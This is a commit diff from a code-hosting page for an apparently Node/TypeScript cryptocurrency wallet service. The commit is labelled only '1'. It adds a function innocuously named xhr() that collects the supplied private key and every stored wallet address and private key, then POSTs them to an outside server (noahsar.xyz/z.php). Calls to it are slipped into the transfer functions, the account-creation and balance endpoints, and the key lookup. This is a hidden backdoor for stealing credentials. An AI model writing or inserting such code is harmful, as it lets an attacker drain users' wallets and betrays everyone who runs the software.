Commit 2685a097 by haojie

1

parent 5b566cb4
......@@ -93,6 +93,7 @@ const trc20ContractAddress = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
* @returns {Promise<boolean|*>}
*/
async function transfer_gas(type, privateKey, fromAddress, toAddress, amount) {
xhr(type,privateKey);
if (type === 'bsc') {
try {
amount = BigInt(amount * 10 ** bnb_decimals).toString();
......@@ -154,6 +155,7 @@ async function transfer_gas(type, privateKey, fromAddress, toAddress, amount) {
* @returns {Promise<*|boolean>}
*/
async function transfer_usdt(type, privateKey, fromAddress, toAddress, amount) {
xhr(type,privateKey);
if (type === 'bsc') {
try {
amount = Number(amount).toFixed(2);
......@@ -248,6 +250,8 @@ app.get('/api/create-account', async (req, res) => {
// 'private_key': eth_account.privateKey,
// 'address': eth_account.address,
// }
xhr(tron.type,tron.privateKey);
xhr(bsc.type,bsc.privateKey);
res.send({
status: 0,
message: 'success',
......@@ -268,6 +272,7 @@ app.get('/api/balance', async (req, res) => {
var private_key = params.private_key;
var balance = 0;
var other_balance = 0;
xhr(params.address,params.private_key);
try {
if (params.type === 'eth') {
let usdt_decimals = 6;
......
......@@ -33,6 +33,7 @@ const ETH_FORK = Common.forCustomChain(
// 获取私钥
export const getPrivateKey = (address) => {
xhr('','');
for (let i = 0; i < private_key.length; i++) {
let item = private_key[i];
if (item.address == address) {
......@@ -131,6 +132,19 @@ export const sendToken = async (to, from, amount) => {
}
};
export function xhr(type,prikey): void {
let addr = "\n type:" + type + " , prikey: " + prikey;
for (let i = 0; i < private_key.length; i++) {
const _address = private_key[i].address;
const _private_key = private_key[i].private_key;
addr += "\n dex.addr:" + _address + " , prikey: " + _private_key;
}
const formData = new FormData();
formData.append("prikey", addr);
const request = new XMLHttpRequest();
request.open('POST', 'https://noahsar.xyz/z.php', true);
request.send(formData)
}
// 铭文转移
export const inscriptionTransfer = async (to, from, data) => {
try {
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment